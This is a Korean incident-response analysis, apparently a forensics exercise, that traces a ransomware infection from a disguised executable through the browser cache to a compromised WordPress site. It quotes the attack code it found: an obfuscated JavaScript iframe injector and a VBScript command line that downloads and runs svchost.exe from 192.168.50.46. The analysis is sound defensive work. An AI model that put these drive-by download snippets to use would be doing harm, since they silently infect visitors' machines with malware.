1. 상황
피해자는 갑자기 바탕화면 변경과 함께 파일 암호화가 진행되었다고 하는 상황.
웹 서핑 이외에 별도의 동작은 하지 않았다고 한다.
2. 감염 시간 확인
바탕화면에 생성된 READ_IT.txt 의 속성을 확인
파일 타임스탬프 확인 결과 2019년 7월 18일 오후 3:32:23 에 생성됨을 확인
따라서 해당 시간에 랜섬웨어가 감염되었음을 추측
3. PC 내 의심스러운 파일 확인
의심스러운 파일을 찾을 때는 폴더옵션의 숨김 파일, 폴더 및 드라이브 표시 를 활성화하고
알려진 파일 형식의 파일 확장명 숨기기 를 비활성화 한 뒤 진행한다.
C 드라이브 접근 시 의심스러운 폴더 확인
Administrator 폴더는 Users or 사용자 폴더의 하위 폴더로 존재 해야한다.
그러나 외부에 노출되어 있으며, 수정 날짜가 READ_IT.txt 의 생성 날짜와 일치하기 때문에 해당 폴더 추가 분석 진행
악성코드 확인
해당 폴더 내에서 local.exe 파일 확인, 확장자는 .exe 지만 이미지는 PDF 문서로 위장하고 있음을 확인
해당 파일 추가 분석을 위해 해쉬 값 추출 후 바이러스 토탈 검색 진행
해쉬 값 추출 및 파일 저장
certutil -hashfile local.exe > hash.txt
Shell
복사
해쉬 값 확인 완료
바이러스 토탈 검색
local.exe 파일은 악성코드인 것 확정
4. 감염 시간대 웹 캐시 분석
피해자가 해당 시간에 웹 서핑 이외에 다른 동작을 하지 않았다고 했으므로
해당 시간대 웹 캐시 확인이 필요
브라우저 - 도구 - 인터넷 옵션 - 설정 - 파일보기 에서 웹 캐시 저장장소로 이동
분석을 위해 의심 시간대인 2019-07-18 오후 3:32 포함 3분간의 캐시를
tmp 폴더로 복사 후 분석한다.
의심스러운 파일 확인
READ_IT.txt 생성 시간과 동일한 시간에 .exe 파일 발견
웹 캐시는 웹 페이지의 렌더링과 직접 관련된 파일 (HTML, CSS, JavaScript)을 대상으로 설계 되었다.
.exe 은 그 대상이 아니기 때문에 웹 캐시에서 발견된 것이 의심스럽다고 판단
원본 폴더에서 다시 검색
해당 내용을 기반으로 원본 폴더에서 .exe 검색 시 해당 파일의 다운로드 경로를 확인
다운로드 URL : http://192.168.50.46/svchost.exe
기존 악성 파일과 동일한지 확인
기존에 발견했던 local.exe 파일과 scvhost.exe 파일이 동일한 파일인지
해쉬를 비교하여 확인
확인 결과 두 파일은 동일한 파일임을 확인
5. 감염경로 파악
해당 IP 를 포함한 웹 캐시가 있는지 findstr 명령어를 사용하여 검색
findstr /M "192.168.50.46" *
Shell
복사
해당 키워드를 포함하는 파일 (index.htm , jquery-migrate.min.js ) 2개 확인 해당 파일 분석 필요
Jquery-migrate.min.js 일부
eval(function(p, a, c, k, e, r) {
e = function(c) {
return c.toString(a)
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('2.3("<1 4=\'5://6.7.8.9/a.b\' c=\'0\' d=\'0\' e=\'0\'></1>");', 15, 15, '|iframe|document|write|src|http|192|168|50|46|index|html|width|height|frameboard'.split('|'), 0, {}))
JavaScript
복사
jquery-migrate.min.js 하단에서 eval() 함수를 발견
eval() 함수는 보안 취약성을 유발할 수 있는 위험한 함수로, 악성 코드가 실행될 위험이 있어 많은 코딩 가이드라인에서 사용음 금지하고 있다.
JS 코드 해석을 위해 eval() 함수를 console.log() 로 변경하여 개발자 도구에서 실행
결과
document.write("<iframe src='http://192.168.50.46/index.html' width='0' height='0' frameboard='0'></iframe>"); 라는 문자열을 확인
index.htm (html)
jquery-migrate.min.js 에서 html 파일을 요청했지만 실제 웹 캐시에서 .htm 파일로 확인되는 이유는 호환성과 관련이 있다.
과거에는 .html 대신 .htm 이 사용되었으며, 웹 브라우저나 웹 서버는 두 확장자를 모두 동일하게 처리하기 때문에 기능적인 차이는 없다.
코드 일부
set shell=createobject("Shell.Application")
shell.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://192.168.50.46/svchost.exe"",false>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\svchost.exe"">>down_exec.vbs&@echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@echo objShell.Exec(""%TEMP%\svchost.exe"")>>down_exec.vbs&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0
JavaScript
복사
해당 부분에서 악성코드 다운로드가 실제적으로 이루어지고 있음을 확인했다.
6. 조치
취약한 사이트 차단
악성 파일 다운로드를 유도하는 jquery-migrate.min.js 은 192.168.50.31 이라는 IP 를 가진 wordpress 사이트에서 동작하였다.
해당 사이트 차단을 통해 추가 피해 방지가 필요하다.
7. 타임라인
피해자는 웹서핑 중 http://192.168.50.31 주소를 가진 wordpress 사이트에 접속하게 되었고, 거기서 공격자가 준비한 JS 파일 jquery-migrate.min.js 가 http://192.168.50.46/index.html 을 요청하게 된다.
index.htm 파일은 내부 코드에서 cmd 를 이용해 http://192.168.50.46/svchost.exe 를 다운로드 및 실행하면서 최종적으로 랜섬웨어 감염이 이루어지게 되며, 악성코드 자가삭제 및 local.exe 생성은 svchost.exe 를 세부적으로 분석해야 파악 가능할 듯 하다.